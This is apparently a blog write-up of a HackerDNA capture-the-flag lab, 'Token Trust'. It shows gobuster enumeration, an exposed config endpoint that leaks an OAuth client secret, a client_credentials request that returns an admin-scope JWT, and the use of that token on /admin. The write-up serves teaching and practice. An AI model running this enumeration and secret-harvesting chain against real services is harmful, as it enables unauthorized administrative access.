Token Trust

The guys from @hackerdna bring to us a easy challenge about a misconfiguration on oauth, you can try the challenge here https://hackerdna.com/labs/token-trust

So, the first thing is start enumerating the URL

❯ gobuster dir \                      
-u http://3.252.79.140/ \
-w /home/malekith/Dropbox/CTFs/SecLists/Discovery/Web-Content/combined_directories.txt \
-t 50 \
--exclude-length 15
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://3.252.79.140/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /home/malekith/Dropbox/CTFs/SecLists/Discovery/Web-Content/combined_directories.txt
[+] Negative Status codes:   404
[+] Exclude Length:          15
[+] User Agent:              gobuster/3.8.2
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
admin                (Status: 401) [Size: 88]
api                  (Status: 308) [Size: 235] [--> http://3.252.79.140/api/]
health               (Status: 200) [Size: 2]

There is a /api and /admin endpoint, so if we go to /api

Get Malekith’s stories in your inbox
Join Medium for free to get updates from this writer.
Remember me for faster sign in
❯ curl -s http://3.252.79.140/api/v1/ | jq 
{
  "endpoints": [
    "/api/v1/status",
    "/api/v1/config"
  ],
  "version": "v1"
}

There is a /config.. so If we curl it

❯ curl -s http://3.252.79.140/api/v1/config | jq 
{
  "debug_mode": false,
  "environment": "production",
  "features": {
    "api_access": true,
    "mfa": false,
    "sso": true
  },
  "oauth": {
    "client_id": "cloudvault_web_client_2024",
    "client_secret": "cvs_secret_k8s_prod_2024_xK9mP7nQ",
    "enabled": true,
    "supported_grants": [
      "authorization_code",
      "client_credentials",
      "refresh_token"
    ],
    "token_endpoint": "/oauth/token",
    "token_expiry": "24h"
  },
  "service": "CloudVault Authentication Service",
  "version": "2.1.3"
}

We receive the client_id and client_secret and the token_endpoint

❯ curl -s -X POST http://3.252.79.140/oauth/token -H "Content-Type: application/x-www-form-urlencoded" -d  "grant_type=client_credentials" -d "client_id=cloudvault_web_client_2024" -d "client_secret=cvs_secret_k8s_prod_2024_xK9mP7nQ" | jq
{
  "access_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJjbG91ZHZhdWx0X3dlYl9jbGllbnRfMjAyNCIsInNjb3BlIjoiYWRtaW4iLCJpYXQiOjE3NzE0MzI3MzksImV4cCI6MTc3MTUxOTEzOSwiaXNzIjoiY2xvdWR2YXVsdC1hdXRoLXNlcnZpY2UifQ.pn8MOytAcfHLhxz9tlYiOVPcYw4wCXlzbkpB7XedPjE",
  "expires_in": 86400,
  "scope": "admin",
  "token_type": "Bearer"
}

We got the JWT and the scope , so.. the job is done :)

❯ curl -s -X GET http://3.252.79.140/admin -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJjbG91ZHZhdWx0X3dlYl9jbGllbnRfMjAyNCIsInNjb3BlIjoiYWRtaW4iLCJpYXQiOjE3NzE0MzA2NjksImV4cCI6MTc3MTUxNzA2OSwiaXNzIjoiY2xvdWR2YXVsdC1hdXRoLXNlcnZpY2UifQ.isIBUCcYunhvZpwm5r28UVoDPtSWSclQpK17hoaxBZM" | jq 
{
  "flag": "redacted",
  "message": "Admin panel access granted",
  "scope": "admin",
  "user": "cloudvault_web_client_2024"
}